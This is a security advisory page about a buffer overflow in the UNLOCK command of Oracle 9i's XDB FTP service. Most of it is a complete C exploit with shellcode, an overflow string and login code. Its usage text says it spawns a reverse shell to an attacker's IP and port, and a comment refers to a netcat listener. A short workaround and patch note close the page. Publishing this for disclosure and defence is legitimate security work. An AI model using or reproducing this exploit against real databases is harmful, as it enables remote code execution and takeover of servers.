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Buffer Overflow in XDB FTP UNLOCK command in Oracle 9i
Details Buffer Overflow in XDB / XMLDB FTP UNLOCK command. Every database user can exploit this vulnerability and execute arbitrary code by passing a long token to the UNLOCK command. For this vulnerability exists also an Metasploit exploit (see here). Example Exploit for Oracle XDB ftp service on Windows. A detailed description can be found in David Litchfields Black Hat presentation. #include <stdio.h> #include <windows.h> #include <winsock.h> int GainControlOfOracle(char *, char *); int StartWinsock(void); int SetUpExploit(char *,int); struct sockaddr_in s_sa; struct hostent *he; unsigned int addr; char host[260]=""; unsigned char exploit[508]= "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" "\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" "\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" "\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89" "\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13" "\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" "\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C" "\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89" "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" "\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89" "\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" "\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A" "\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66" "\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" "\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0" "\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84" "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" "\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50" "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD" "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03" "\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48" "\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83" "\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41" "\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03" "\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3" "\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" "\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" "\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B" "\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B" "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" "\xFF\xFF\xFF\xFF"; char exploit_code[8000]= "UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnn" "nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD" "DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS T" "TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK" "LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432" "1aaaabbbbcc"; char exception_handler[8]="\x79\x9B\xf7\x77"; char short_jump[8]="\xEB\x06\x90\x90"; int main(int argc, char *argv[]) { if(argc != 6) { printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); printf("\n\t\tfor Blackhat (http://www.blackhat.com)"); printf("\n\n\tSpawns a reverse shell to specified port"); printf("\n\n\tUsage:\t%s host userid password ipaddress port",argv[0]); printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)"); printf("\n\t6th July 2003\n\n\n"); return 0; } strncpy(host,argv[1],250); if(StartWinsock()==0) return printf("Error starting Winsock.\n"); SetUpExploit(argv[4],atoi(argv[5])); strcat(exploit_code,short_jump); strcat(exploit_code,exception_handler); strcat(exploit_code,exploit); strcat(exploit_code,"\r\n"); GainControlOfOracle(argv[2],argv[3]); return 0; } int SetUpExploit(char *myip, int myport) { unsigned int ip=0; unsigned short prt=0; char *ipt=""; char *prtt=""; ip = inet_addr(myip); ipt = (char*)&ip; exploit[191]=ipt[0]; exploit[192]=ipt[1]; exploit[193]=ipt[2]; exploit[194]=ipt[3]; // set the TCP port to connect on // netcat should be listening on this port // e.g. nc -l -p 80 prt = htons((unsigned short)myport); prt = prt ^ 0xFFFF; prtt = (char *) &prt; exploit[209]=prtt[0]; exploit[210]=prtt[1]; return 0; } int StartWinsock() { int err=0; WORD wVersionRequested; WSADATA wsaData; wVersionRequested = MAKEWORD( 2, 0 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) return 0; if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 ) { WSACleanup( ); return 0; } if (isalpha(host[0])) { he = gethostbyname(host); s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); } else { addr = inet_addr(host); s_sa.sin_addr.s_addr=INADDR_ANY; s_sa.sin_family=AF_INET; memcpy(&s_sa.sin_addr,&addr,4); he = (struct hostent *)1; } if (he == NULL) { return 0; } return 1; } int GainControlOfOracle(char *user, char *pass) { char usercmd[260]="user "; char passcmd[260]="pass "; char resp[1600]=""; int snd=0,rcv=0; struct sockaddr_in r_addr; SOCKET sock; strncat(usercmd,user,230); strcat(usercmd,"\r\n"); strncat(passcmd,pass,230); strcat(passcmd,"\r\n"); sock=socket(AF_INET,SOCK_STREAM,0); if (sock==INVALID_SOCKET) return printf(" sock error"); r_addr.sin_family=AF_INET; r_addr.sin_addr.s_addr=INADDR_ANY; r_addr.sin_port=htons((unsigned short)0); s_sa.sin_port=htons((unsigned short)2100); if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) return printf("Connect error"); rcv = recv(sock,resp,1500,0); printf("%s",resp); ZeroMemory(resp,1600); snd=send(sock, usercmd , strlen(usercmd) , 0); rcv = recv(sock,resp,1500,0); printf("%s",resp); ZeroMemory(resp,1600); snd=send(sock, passcmd , strlen(passcmd) , 0); rcv = recv(sock,resp,1500,0); printf("%s",resp); if(resp[0]=='5') { closesocket(sock); return printf("Failed to log in using user %s and password %s.\n",user,pass); } ZeroMemory(resp,1600); snd=send(sock, exploit_code, strlen(exploit_code) , 0); Sleep(2000); closesocket(sock); return 0; } Workaround Disable XDB by removing the following instance paramter from the init.ora file dispatchers='(PROTOCOL=TCP) (SERVICE=<ORACLE_SID>XDB)' and restarting the database. Patch Information Apply Oracle patchset 9.2.0.2 or later. © 2005 by Red-Database-Security GmbH - last update 02-nov-2005 |
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